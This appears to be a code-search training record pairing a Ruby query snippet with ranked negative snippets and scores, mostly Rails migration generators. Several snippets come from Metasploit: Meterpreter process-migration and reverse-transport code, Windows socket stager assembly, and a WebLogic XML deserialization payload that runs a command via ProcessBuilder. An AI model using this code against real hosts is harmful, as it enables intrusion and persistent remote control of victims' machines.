"def migrate\n maintenance = Heroku::PgMigrate::Maintenance.new(api, app)\n scale_zero = Heroku::PgMigrate::ScaleZero.new(api, app)\n rebind = Heroku::PgMigrate::RebindConfig.new(api, app)\n provision = Heroku::PgMigrate::Provision.new(api, app)\n foi_pgbackups = Heroku::PgMigrate::FindOrInstallPgBackups.new(api, app)\n transfer = Heroku::PgMigrate::Transfer.new(api, app)\n check_shared = Heroku::PgMigrate::CheckShared.new(api, app)\n release_num = Heroku::PgMigrate::ReleaseNumber.new(api, app)\n\n mp = Heroku::PgMigrate::MultiPhase.new()\n mp.enqueue(check_shared)\n mp.enqueue(foi_pgbackups)\n mp.enqueue(provision)\n mp.enqueue(release_num)\n mp.enqueue(maintenance)\n mp.enqueue(scale_zero)\n mp.enqueue(transfer)\n mp.enqueue(rebind)\n\n mp.engage()\n end",
"def create_migration\n if invoked_attributes.present?\n args = [\"create_#{plural_name}\"] + (invokable(invoked_attributes) | timestamps)\n args += [\"--database\", options['database']] if options['database']\n Rails::Generators.invoke('migration', args)\n return\n end\n\n return if with_resource_tenant do\n table_name = resource.klass.table_name\n\n if ActiveRecord::Base.connection.table_exists?(table_name)\n say_status(:error, \"#{table_name} table already exist. We can't migrate (yet). Exiting.\", :red)\n true\n end\n end\n\n if resource.model_attributes.blank?\n say_status(:error, \"No model attributes present. Please add the effective_resource do ... end block and try again\", :red)\n return\n end\n\n args = [\"create_#{plural_name}\"] + invokable(resource.model_attributes) - timestamps\n args += [\"--database\", options['database']] if options['database']\n\n if options['database'].blank? && defined?(Tenant)\n args += [\"--database\", resource.klass.name.split('::').first.downcase]\n end\n\n Rails::Generators.invoke('migration', args)\n end",
"def generate_migrations\n versions = []\n versions << generate_migration(\"create_users\", <<-EOF\nHanami::Model.migration do\n change do\n create_table :users do\n primary_key :id\n column :name, String\n end\n end\nend\nEOF\n)\n\n versions << generate_migration(\"add_age_to_users\", <<-EOF\nHanami::Model.migration do\n change do\n add_column :users, :age, Integer\n end\nend\nEOF\n)\n versions\n end",
"def generate\n template_dir = File.join(File.dirname(__FILE__), \"../templates\")\n proxy_hpp = Generation.render_template template_dir, \"proxies\", \"Task.hpp\", binding\n proxy_cpp = Generation.render_template template_dir, \"proxies\", \"Task.cpp\", binding\n file_proxy_hpp = Generation.save_automatic(project.name, \"/proxies\", \"#{task.basename}.hpp\", proxy_hpp)\n file_proxy_cpp = Generation.save_automatic(project.name, \"/proxies\", \"#{task.basename}.cpp\", proxy_cpp)\n\n forward_hpp = Generation.render_template template_dir, \"proxies\", \"Forward.hpp\", binding\n file_forward_hpp = Generation.save_automatic(project.name, \"proxies\", \"#{task.basename}Forward.hpp\", forward_hpp)\n\n cmake = Generation.render_template template_dir, 'proxies', 'CMakeLists.txt', binding\n Generation.save_automatic(project.name, 'proxies', \"CMakeLists.txt\", cmake)\n \n pc = Generation.render_template template_dir, \"proxies\", \"proxies.pc\", binding\n Generation.save_automatic(project.name, \"proxies\", \"#{project.name}-proxies.pc.in\", pc)\n end",
"def copy_migrations\n [\n 'change_audit_log_pid_to_generic_file_id.rb',\n 'change_proxy_deposit_request_pid_to_generic_file_id.rb'\n ].each do |file|\n better_migration_template file\n end\n end",
"def gen_goal(goal, index = 0)\n gen_file(\"db/migrate/#{ Time.now.strftime(\"%Y%m%d%H%M%S\").to_i + index }_create_#{goal.p}.rb\", \"migration\", goal)\n\n # TODO: make a thing that returns the innards of the class, preferably organized into\n # validations, associations, requires/acts_as clauses, class, instance, and private methods.\n # also add something that tells a goal not to generate any combo of model/view/controller.\n gen_file(\"/app/models/#{goal.s}.rb\", \"model\", goal)\n gen_file(\"/app/controllers/#{goal.p}_controller.rb\", \"controller\", goal)\n gen_view(goal)\n gen_tests(goal)\n end",
"def generate\n proxy_hpp = Generation.render_template \"proxies\", \"Task.hpp\", binding\n proxy_cpp = Generation.render_template \"proxies\", \"Task.cpp\", binding\n file_proxy_hpp = Generation.save_automatic \"proxies\", \"#{task.basename}.hpp\", proxy_hpp\n file_proxy_cpp = Generation.save_automatic \"proxies\", \"#{task.basename}.cpp\", proxy_cpp\n\n cmake = Generation.render_template 'proxies', 'CMakeLists.txt', binding\n Generation.save_automatic('proxies', \"CMakeLists.txt\", cmake)\n \n pc = Generation.render_template \"proxies\", \"proxies.pc\", binding\n Generation.save_automatic \"proxies\", \"#{project.name}-proxies.pc.in\", pc\n end",
"def generate(opts={})\n asm = %Q^\n migrate:\n cld\n pop esi\n pop esi ; esi now contains the pointer to the migrate context\n sub esp, 0x2000\n call start\n #{asm_block_api}\n start:\n pop ebp\n #{generate_migrate(opts)}\n signal_event:\n push dword [esi] ; Event handle is pointed at by esi\n push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}\n call ebp ; SetEvent(handle)\n call_payload:\n call dword [esi+8] ; Invoke the associated payload\n ^\n\n Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string\n end",
"def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end",
"def migrate(target_pid, proc_name, current_pid)\n if !target_pid\n print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n return false\n end\n\n print_status(\"Trying #{proc_name} (#{target_pid})\")\n\n if target_pid == current_pid\n print_good(\"Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n end\n\n begin\n client.core.migrate(target_pid)\n print_good(\"Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n return true\n rescue Rex::Post::Meterpreter::RequestError => error\n print_error(\"Could not migrate to #{proc_name}. Exiting...\")\n print_error(error.to_s)\n return false\n end\n end",
"def generate_migrations\n Dir[File.join(source_paths, 'db', 'migrate', '*.rb')].each do |file|\n migration_filepath = file.match(/\\A.+\\/(db\\/migrate\\/.+)\\Z/i)[1]\n raw_migration_filename = file.match(/\\d+\\_(.+)\\Z/i)[1] \n migration_template migration_filepath, \"db/migrate/#{raw_migration_filename}\" \n end\n end",
"def create_migration\n migration_version = Time.now.to_i\n dir = \"/db/migrate/#{migration_version}_create_#{@scaffold_name}s.rb\"\n unless File.exists?(File.join(Dir.pwd,dir))\n source = \"#{@gem_path}/lib/modules/scaffold/migration.rb\"\n FileUtils.cp(source,File.join(Dir.pwd,dir))\n config_migration(migration_version)\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{dir}\"\n end\n end",
"def generator_script(type, mode = 'create')\n send(\"generator_script_#{type.to_s.underscore}\", migration_version, mode)\n end",
"def do_migrations\n migration_path = File.join(\"generators\", \"talia\", \"templates\", \"migrations\")\n ActiveRecord::Migrator.migrate(migration_path, ENV[\"VERSION\"] ? ENV[\"VERSION\"].to_i : nil )\n end",
"def copy_migrations\n # Can't get this any more DRY, because we need this order.\n %w{acts_as_follower_migration.rb\tadd_social_to_users.rb\t\tcreate_single_use_links.rb\tadd_ldap_attrs_to_user.rb\nadd_avatars_to_users.rb\t\tcreate_checksum_audit_logs.rb\tcreate_version_committers.rb\nadd_groups_to_users.rb\t\tcreate_local_authorities.rb\tcreate_trophies.rb}.each do |f|\n better_migration_template f\n end\n end",
"def generate_files\n migration_template 'migration.rb', \"db/migrate/#{name}.rb\"\n end",
"def migrate_project(outputter)\n Bolt::ProjectManager.new(config, outputter, pal).migrate\n end",
"def generate!\n ::ActiveRecord::Base.establish_connection 'production'\n Schemaless::MigrationsGenerator.new(all_tables).invoke_all\n end"
] | [
"0.652956",
"0.6007505",
"0.5704186",
"0.570251",
"0.56541926",
"0.55902916",
"0.54886645",
"0.5402766",
"0.537883",
"0.53659356",
"0.531144",
"0.5218872",
"0.51872665",
"0.51799184",
"0.5167056",
"0.5117956",
"0.5115455",
"0.51071984",
"0.5082861",
"0.5062394",
"0.49958014",
"0.49482426",
"0.49181286",
"0.49138382",
"0.4909725",
"0.49082965",
"0.48966908",
"0.48559162",
"0.48430857",
"0.48014435"
] | 0.81939185 | 0 |
Helper function to prepare a transport request that will be sent to the attached session. | def transport_prepare_request(method, opts={})
unless valid_transport?(opts[:transport]) && opts[:lport]
return nil
end
if opts[:transport].starts_with?('reverse')
return false unless opts[:lhost]
else
# Bind shouldn't have lhost set
opts[:lhost] = nil
end
transport = opts[:transport].downcase
request = Packet.create_request(method)
scheme = transport.split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
if opts[:luri] && opts[:luri].length > 0
if opts[:luri][0] != '/'
url << '/'
end
url << opts[:luri]
if url[-1] == '/'
url = url[0...-1]
end
end
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
end
# do more magic work for http(s) payloads
unless transport.ends_with?('tcp')
if opts[:uri]
url << '/' unless opts[:uri].start_with?('/')
url << opts[:uri]
url << '/' unless opts[:uri].end_with?('/')
else
sum = uri_checksum_lookup(:connect)
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
end
# TODO: randomise if not specified?
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
end
if opts[:proxy_host] && opts[:proxy_port]
prefix = 'http://'
prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
if opts[:proxy_user]
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
end
if opts[:proxy_pass]
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
end
end
end
request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport])
request.add_tlv(TLV_TYPE_TRANS_URL, url)
request
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_request\n return Typhoeus::Request.new(\n endpoint_url,\n method: @method,\n params: @params,\n body: @body,\n headers: @headers)\n end",
"def prepare_request(params)\n request = process_params(params)\n request.store(:sizes, [extract_size(params.size)]) if params.size\n request.store(:format, params.format) if params.format\n request.store(:data, params.data) if params.data\n request.store(:uploader, params.uploader) if params.uploader\n request.store(:pages, params.pages) if params.pages\n request.store(:callback_url, params.callback_url) if params.callback_url\n request\n end",
"def prepare_request(params)\n request = process_params(params)\n request.store(:size, extract_size(params.size)) if params.size\n request\n end",
"def build_danske_generic_request\n common_set_body_contents\n set_receiver_id\n encrypted_request = encrypt_application_request\n add_encrypted_generic_request_to_soap(encrypted_request)\n\n process_header\n add_body_to_header\n end",
"def prepare_request(request)\n request['x-api-key'] = @api_key if @api_key\n request\n end",
"def prepare_request_data(session_id, pos_id)\r\n pos = pos_id || @parameters.pos_id.to_a.first\r\n\r\n ts = calculate_ts\r\n\r\n data = {\r\n :pos_id => pos,\r\n :session_id => session_id,\r\n :ts => ts,\r\n :sig => sign(pos, session_id, ts, @parameters.key1)\r\n }\r\n data\r\n end",
"def make_request!(options = {})\n\t\t\toptions[:client] = client\n\t\t\tself.client.transporter.make_request(options)\n\t\tend",
"def prepare_environment req_path, headers, params, body\n result = Hash.new\n {'header' => headers, 'param' => params}.each do |prefix, data|\n data.each do |name, value|\n result.merge! Oaf::Util.environment_item prefix, name, value\n end\n end\n result.merge! Oaf::Util.environment_item 'request', 'path', req_path\n result.merge Oaf::Util.environment_item 'request', 'body', body\n end",
"def make_generic_request(request)\n request_path = path(request)\n\n Puppet::Network::HTTP::Request.new(\n headers(request),\n params(request),\n http_method(request),\n request_path, # path\n request_path, # routing_path\n client_cert(request),\n body(request)\n )\n end",
"def request_params\n rid = create_uuid\n request_type = params[:request_type]\n request_url = params[:url]\n request_parameters = params[:request_parameters]\n request_headers = params[:request_headers]\n request_payload = params[:request_payload]\n username = params[:username]\n password = params[:password]\n private_request = params[:private_request]\n\n request = Faraday.new\n\n # If authentication is filled out, apply it.\n request.basic_auth(username, password) if username.present?\n\n # Be nice and send a descriptive user agent. Also handy for debugging and\n # tracking down potential problems.\n request.headers['User-Agent'] = 'ReHTTP/v1.0'\n\n # Split the additional headers out into the name and value and then apply\n # then to the request.\n request_headers.split(\"\\r\\n\").each do |header|\n header_components = header.split(':')\n request.headers[header_components[0]] = header_components[1]\n end\n\n # Ensure the parameters are available before trying to create a new hash\n # from them.\n if request_parameters.present?\n request_params = Hash[request_parameters.split(\"\\r\\n\").map {|params| params.split('=') }]\n else\n request_params = {}\n end\n\n case request_type\n when 'GET'\n response = request.get(request_url, request_params)\n when 'POST'\n response = request.post(request_url, request_payload)\n when 'PUT'\n response = request.put(request_url, request_params)\n when 'DELETE'\n response = request.delete request_url\n when 'OPTIONS'\n response = request.options request_url\n when 'HEAD'\n response = request.head request_url\n when 'PATCH'\n response = request.patch request_url\n end\n\n {\n rid: rid,\n request_type: request_type,\n url: request_url,\n private_request: private_request,\n request_data: {\n headers: request.headers,\n data: {}\n }.to_json,\n response_data: {\n headers: response.headers,\n body: response.body,\n status: response.status\n }.to_json\n }\n end",
"def build_request path, opts = {}\n connection.build_request path, opts\n end",
"def build_request(method)\n Request.create(method) do |req|\n req.params = self.params.dup\n req.headers = self.headers.dup\n req.options = self.options\n yield(req) if block_given?\n end\n end",
"def construct_request(method, url, requestor, opts={})\n user_headers = opts[:headers] || {}\n version = opts[:server_api_version]\n payload_raw = opts[:payload] || \"\"\n\n payload = if payload_raw.class == Hash\n to_json(payload_raw)\n else\n payload_raw\n end\n\n # Provide a means to explicitly delete version header for test purposes\n version_headers = if opts.has_key?(:api_version)\n version = opts[:api_version]\n if version.nil?\n {}\n else\n {\"X-Ops-Server-API-Version\" => version}\n end\n else\n {\"X-Ops-Server-API-Version\" => server_api_version}\n end\n\n auth_headers = opts[:auth_headers] || requestor.signing_headers(method, url, payload)\n\n uri = URI.parse(url)\n\n # for further details, see: get_host_port in oc-chef-pedant/lib/pedant/utility.rb\n host = \"#{uri.host}:#{uri.port}\"\n\n final_headers = standard_headers.\n merge(auth_headers).\n merge(user_headers).\n merge(version_headers).\n merge({'Host' => host, 'X-REMOTE-REQUEST-ID' => UUIDTools::UUID.random_create.to_s})\n\n [final_headers, payload]\n end",
"def transport_setup_params\n params.require(:transport_setup).permit(:transport_mode, :port_of_loading, :port_of_dischange, :final_destination, :clearing_agent, :container_type)\n end",
"def create_request\n super(@credentials)\n end",
"def kernel_prepare\n $METHOD = get_method\n $HEADERS = get_headers\n $PATH = get_path\n $URI = get_uri\n $BODY = get_body\n end",
"def request\n req = connection\n \n req.body = with if (with && req.request_body_permitted?)\n if (credentials)\n if (credentials.is_a?(OAuth::AccessToken))\n credentials.sign!(req)\n else\n req.basic_auth(credentials[:username], credentials[:password])\n end\n end\n \n headers.each_pair {|key,value| req[key] = value } if headers\n \n req\n end",
"def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end",
"def build_env(connection, request); end",
"def build_request(identity, next_service, username, hostname, client_username); end",
"def init_processing \n # intentionally trigger creation of session if it didn't already exist\n # because we need to track session ID for caching. Can't find any\n # way to force session creation without setting a value in session,\n # so we do this weird one.\n session[nil] = nil\n\n\n\n # We have to clean the params of bad char encoding bytes, or it causes\n # no end of problems later. We can't just refuse to process, sources\n # do send us bad bytes, I'm afraid.\n params.values.each do |v|\n v.scrub! if v.respond_to?(:'scrub!')\n end\n # Create an UmlautRequest object.\n options = {}\n if ( @@no_create_request_actions.include?(params[:action]) )\n options[:allow_create] = false\n end\n @user_request ||= Request.find_or_create(params, session, request, options )\n # If we chose not to create a request and still don't have one, bale out.\n return unless @user_request\n @user_request.save!\n @collection = create_collection\n end",
"def adapt_request(request)\n if request.url.nil? || request.method.nil?\n raise ArgumentError, \"Url and method are required\"\n end\n\n params = {\n method: request.method,\n url: request.url,\n headers: request.headers,\n cookies: request.cookies\n }\n\n unless request.content.nil?\n if request.content.is_a?(HttpMultiPartContent)\n params[:payload] = request.content.parts\n .merge(multipart: true)\n else\n params[:payload] = request.content.as_text\n request.content.get_headers.each do |key, value|\n unless params[:headers].key?(key)\n params[:headers][key] = value\n end\n end\n end\n end\n\n params[:headers][:params] = request.parameters\n\n unless request.proxy.nil?\n params[:proxy] = request.proxy\n end\n\n unless request.timeout.nil?\n params[:timeout] = request.timeout\n end\n\n return params\n end",
"def request_params(params)\n raise ArgumentError, \"Required authentication params missing\" unless authentication_params?\n params.merge!(authentication_params)\n params.merge!(task: @task) if @task\n params\n end",
"def to_raw_tx\n connection.request self.class.to_create_request, to_params\n end",
"def create_b2bua_request(session, orig_request=session.irequest, rip=SipperConfigurator[:DefaultRIP], \n rp=SipperConfigurator[:DefaultRP])\n peer_session = get_or_create_peer_session(session, rip, rp)\n if peer_session.initial_state?\n r = peer_session.create_initial_request(orig_request.method, orig_request.uri)\n r.copy_from(orig_request, :from, :to, :route, :content, :content_type, :path, :service_route, :privacy, :referred_by, :p_asserted_identity)\n r.from.tag = \"3\"\n else\n if(orig_request.method == \"CANCEL\")\n r = peer_session.create_cancel\n elsif(orig_request.method == \"ACK\")\n r = peer_session.create_ack\n else\n r = peer_session.create_subsequent_request(orig_request.method)\n end \n r.copy_from(orig_request, :content, :content_type)\n end \n return r\n end",
"def prepare\n # We get NotImplementedError by Tilt when we don't have this method\n end",
"def set_request; end",
"def _request(verb, path, params)\n Rester.wrap_request do\n Rester.request_info[:producer_name] = name\n Rester.request_info[:path] = path\n Rester.request_info[:verb] = verb\n logger.info('sending request')\n\n _set_default_headers\n start_time = Time.now.to_f\n\n begin\n response = adapter.request(verb, path, params)\n _process_response(start_time, verb, path, *response)\n rescue Errors::TimeoutError\n logger.error('timed out')\n raise\n end\n end\n end",
"def prepare_params\n request_parameters = params[:request]\n return unless request_parameters\n\n request_parameters[:name] &&= replace_whitespaces(request_parameters[:name])\n request_parameters[:sudo_user_ids] &&= request_parameters[:sudo_user_ids][1..-1]\n\n # the user_ids must contain the ids of ALL users, sudo or not\n request_parameters[:user_ids] ||= []\n request_parameters[:user_ids] += request_parameters[:sudo_user_ids] if request_parameters[:sudo_user_ids]\n end",
"def build_request\n client.request request_name\n end"
] | [
"0.6316247",
"0.6206249",
"0.5979829",
"0.59424824",
"0.59210116",
"0.5753195",
"0.56976604",
"0.56738293",
"0.56536734",
"0.5541747",
"0.55304503",
"0.55268645",
"0.549546",
"0.54951894",
"0.5479809",
"0.54600847",
"0.54554224",
"0.5431667",
"0.5391925",
"0.53846544",
"0.53020585",
"0.5301914",
"0.53015155",
"0.5297912",
"0.5296126",
"0.5291473",
"0.52853495",
"0.52795935",
"0.52667266",
"0.52633834"
] | 0.6512627 | 0 |
Create a full Windowsspecific migration payload specific to the target process. | def generate_migrate_windows_payload(target_process)
c = Class.new( ::Msf::Payload )
c.include( ::Msf::Payload::Stager )
# Include the appropriate reflective dll injection module for the target process architecture...
if target_process['arch'] == ARCH_X86
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
elsif target_process['arch'] == ARCH_X64
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
else
raise RuntimeError, "Unsupported target architecture '#{target_process['arch']}' for process '#{target_process['name']}'.", caller
end
# Create the migrate stager
migrate_stager = c.new()
migrate_stager.stage_meterpreter
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_migrate_payload(target_process)\n case client.platform\n when 'windows'\n blob = generate_migrate_windows_payload(target_process)\n else\n raise RuntimeError, \"Unsupported platform '#{client.platform}'\"\n end\n\n blob\n end",
"def migrate(target_pid, writable_dir = nil, opts = {})\n keepalive = client.send_keepalives\n client.send_keepalives = false\n target_process = nil\n current_process = nil\n\n # Load in the stdapi extension if not allready present so we can determine the target pid architecture...\n client.core.use('stdapi') if not client.ext.aliases.include?('stdapi')\n\n current_pid = client.sys.process.getpid\n\n # Find the current and target process instances\n client.sys.process.processes.each { | p |\n if p['pid'] == target_pid\n target_process = p\n elsif p['pid'] == current_pid\n current_process = p\n end\n }\n\n # We cant migrate into a process that does not exist.\n unless target_process\n raise RuntimeError, 'Cannot migrate into non existent process', caller\n end\n\n # We cannot migrate into a process that we are unable to open\n # On linux, arch is empty even if we can access the process\n if client.platform == 'windows'\n\n if target_process['arch'] == nil || target_process['arch'].empty?\n raise RuntimeError, \"Cannot migrate into this process (insufficient privileges)\", caller\n end\n end\n\n # And we also cannot migrate into our own current process...\n if current_process['pid'] == target_process['pid']\n raise RuntimeError, 'Cannot migrate into current process', caller\n end\n\n migrate_stub = generate_migrate_stub(target_process)\n migrate_payload = generate_migrate_payload(target_process)\n\n # Build the migration request\n request = Packet.create_request(COMMAND_ID_CORE_MIGRATE)\n\n request.add_tlv(TLV_TYPE_MIGRATE_PID, target_pid)\n request.add_tlv(TLV_TYPE_MIGRATE_PAYLOAD, migrate_payload, false, client.capabilities[:zlib])\n request.add_tlv(TLV_TYPE_MIGRATE_STUB, migrate_stub, false, client.capabilities[:zlib])\n\n if target_process['arch'] == ARCH_X64\n request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64\n\n else\n request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86\n end\n\n # if we change architecture, we need to change UUID as well\n if current_process['arch'] != target_process['arch']\n client.payload_uuid.arch = target_process['arch']\n request.add_tlv( TLV_TYPE_UUID, client.payload_uuid.to_raw )\n end\n\n # Send the migration request. Timeout can be specified by the caller, or set to a min\n # of 60 seconds.\n timeout = [(opts[:timeout] || 0), 60].max\n client.send_request(request, timeout)\n\n # Post-migration the session doesn't have encryption any more.\n # Set the TLV key to nil to make sure that the old key isn't used\n # at all.\n client.tlv_enc_key = nil\n\n if client.passive_service\n # Sleep for 5 seconds to allow the full handoff, this prevents\n # the original process from stealing our loadlib requests\n ::IO.select(nil, nil, nil, 5.0)\n elsif client.pivot_session.nil?\n # Prevent new commands from being sent while we finish migrating\n client.comm_mutex.synchronize do\n # Disable the socket request monitor\n client.monitor_stop\n\n ###\n # Now communicating with the new process\n ###\n\n # only renegotiate SSL if the session had support for it in the\n # first place!\n if client.supports_ssl?\n # If renegotiation takes longer than a minute, it's a pretty\n # good bet that migration failed and the remote side is hung.\n # Since we have the comm_mutex here, we *must* release it to\n # keep from hanging the packet dispatcher thread, which results\n # in blocking the entire process.\n begin\n Timeout.timeout(timeout) do\n # Renegotiate SSL over this socket\n client.swap_sock_ssl_to_plain()\n client.swap_sock_plain_to_ssl()\n end\n rescue TimeoutError\n client.alive = false\n return false\n end\n end\n\n # Restart the socket monitor\n client.monitor_socket\n end\n end\n\n # Renegotiate TLV encryption on the migrated session\n secure\n\n # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)\n client.ext.aliases.keys.each { |e|\n client.core.use(e)\n }\n\n # Restore session keep-alives\n client.send_keepalives = keepalive\n\n return true\n end",
"def generate_migrate_stub(target_process)\n stub = nil\n\n\n if client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)\n t = get_current_transport\n\n c = Class.new(::Msf::Payload)\n\n if target_process['arch'] == ARCH_X86\n c.include(::Msf::Payload::Windows::BlockApi)\n case t[:url]\n when /^tcp/i\n c.include(::Msf::Payload::Windows::MigrateTcp)\n when /^pipe/i\n c.include(::Msf::Payload::Windows::MigrateNamedPipe)\n when /^http/i\n # Covers HTTP and HTTPS\n c.include(::Msf::Payload::Windows::MigrateHttp)\n end\n else\n c.include(::Msf::Payload::Windows::BlockApi_x64)\n case t[:url]\n when /^tcp/i\n c.include(::Msf::Payload::Windows::MigrateTcp_x64)\n when /^pipe/i\n c.include(::Msf::Payload::Windows::MigrateNamedPipe_x64)\n when /^http/i\n # Covers HTTP and HTTPS\n c.include(::Msf::Payload::Windows::MigrateHttp_x64)\n end\n end\n\n stub = c.new().generate\n else\n raise RuntimeError, \"Unsupported session #{client.session_type}\"\n end\n\n stub\n end",
"def generate_migrate(opts={})\n %Q^\n load_ws2_32:\n mov r14, 'ws2_32'\n push r14\n mov rcx, rsp ; pointer to 'ws2_32'\n sub rsp, #{WSA_SIZE} ; alloc size, plus alignment (used later)\n mov r13, rsp ; save pointer to this struct\n sub rsp, 0x28 ; space for api function calls (really?)\n mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call rbp ; LoadLibraryA('ws2_32')\n init_networking:\n mov rdx, r13 ; pointer to the wsadata struct\n push 2\n pop rcx ; Version = 2\n mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call rbp ; WSAStartup(Version, &WSAData)\n create_socket:\n xor r8, r8 ; protocol not specified\n push r8 ; flags == 0\n push r8 ; reserved == NULL\n lea r9, [rsi+0x10] ; Pointer to the info in the migration context\n push 1\n pop rdx ; SOCK_STREAM\n push 2\n pop rcx ; AF_INET\n mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call rbp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n xchg rdi, rax\n ^\n end",
"def build\n raise FedoraMigrate::Errors::MigrationError, \"No qualified targets found in #{source.pid}\" if target.nil?\n\n # create target, and apply depositor metadata\n obj = target.new\n\n obj.apply_depositor_metadata @depositor_utln\n obj.visibility = Hydra::AccessControls::AccessRight::VISIBILITY_TEXT_VALUE_PUBLIC\n\n user = User.find_by_user_key(@depositor_utln)\n# CurationConcerns::Workflow::ActivateObject.call(target: obj, comment: 'activate object', user: user)\n\n create_and_add_payload(obj, @payload_primary, @depositor_utln)\n\n #deal with 2 primary datastream objects, storing second object in a new file set\n create_and_add_payload(obj, @payload_secondary, @depositor_utln) unless @payload_secondary.nil?\n\n #handle a case of bad hand created data on old records\n create_and_add_payload(obj, \"ARCHIVAL_SOUND\", @depositor_utln) if @payload_primary == \"ARCHIVAL_WAV\"\n\n # back up old data\n #create_and_add_fcrepo3_set obj\n\n process_desc_metadata obj\n process_admin_metadata obj\n process_technical_metadata obj\n process_relsext_metadata obj\n\n# obj.save\n\n process_collection_metadata obj\n\n active_workflow = Sipity::Workflow.find(2)\n Sipity::Entity.create!(proxy_for_global_id: obj.to_global_id.to_s,\n workflow: active_workflow,\n workflow_state: nil)\n\n obj\n end",
"def generate_migrate(opts={})\n %Q^\n load_ws2_32:\n push '32'\n push 'ws2_'\n push esp ; pointer to 'ws2_32'\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call ebp ; LoadLibraryA('ws2_32')\n init_networking:\n mov eax, #{WSA_VERSION} ; EAX == version, and is also used for size\n sub esp, eax ; allocate space for the WSAData structure\n push esp ; Pointer to the WSAData structure\n push eax ; Version required\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call ebp ; WSAStartup(Version, &WSAData)\n create_socket:\n push eax ; eax is 0 on success, use it for flags\n push eax ; reserved\n lea ebx, [esi+0x10] ; get offset to the WSAPROTOCOL_INFO struct\n push ebx ; pass the info struct address\n push eax ; no protocol is specified\n inc eax\n push eax ; SOCK_STREAM\n inc eax\n push eax ; AF_INET\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, &info, 0, 0)\n xchg edi, eax\n ^\n end",
"def create_all_windows\n en_tm_sb_caw\n create_target_window\n end",
"def exploit_process_builder_payload\r\n # Generate a payload which will execute on a *nix machine using /bin/sh\r\n xml = %Q{<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Header>\r\n <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n <java>\r\n <void class=\"java.lang.ProcessBuilder\">\r\n <array class=\"java.lang.String\" length=\"3\" >\r\n <void index=\"0\">\r\n <string>#{cmd_base}</string>\r\n </void>\r\n <void index=\"1\">\r\n <string>#{cmd_opt}</string>\r\n </void>\r\n <void index=\"2\">\r\n <string>#{payload.encoded.encode(xml: :text)}</string>\r\n </void>\r\n </array>\r\n <void method=\"start\"/>\r\n </void>\r\n </java>\r\n </work:WorkContext>\r\n </soapenv:Header>\r\n <soapenv:Body/>\r\n</soapenv:Envelope>}\r\n end",
"def create_target_window\n @target_window = Window_BattleTarget.new(@info_viewport)\n @target_window.set_handler(:ok, method(:on_target_ok))\n @target_window.set_handler(:cancel, method(:on_target_cancel))\n end",
"def new_window(type); end",
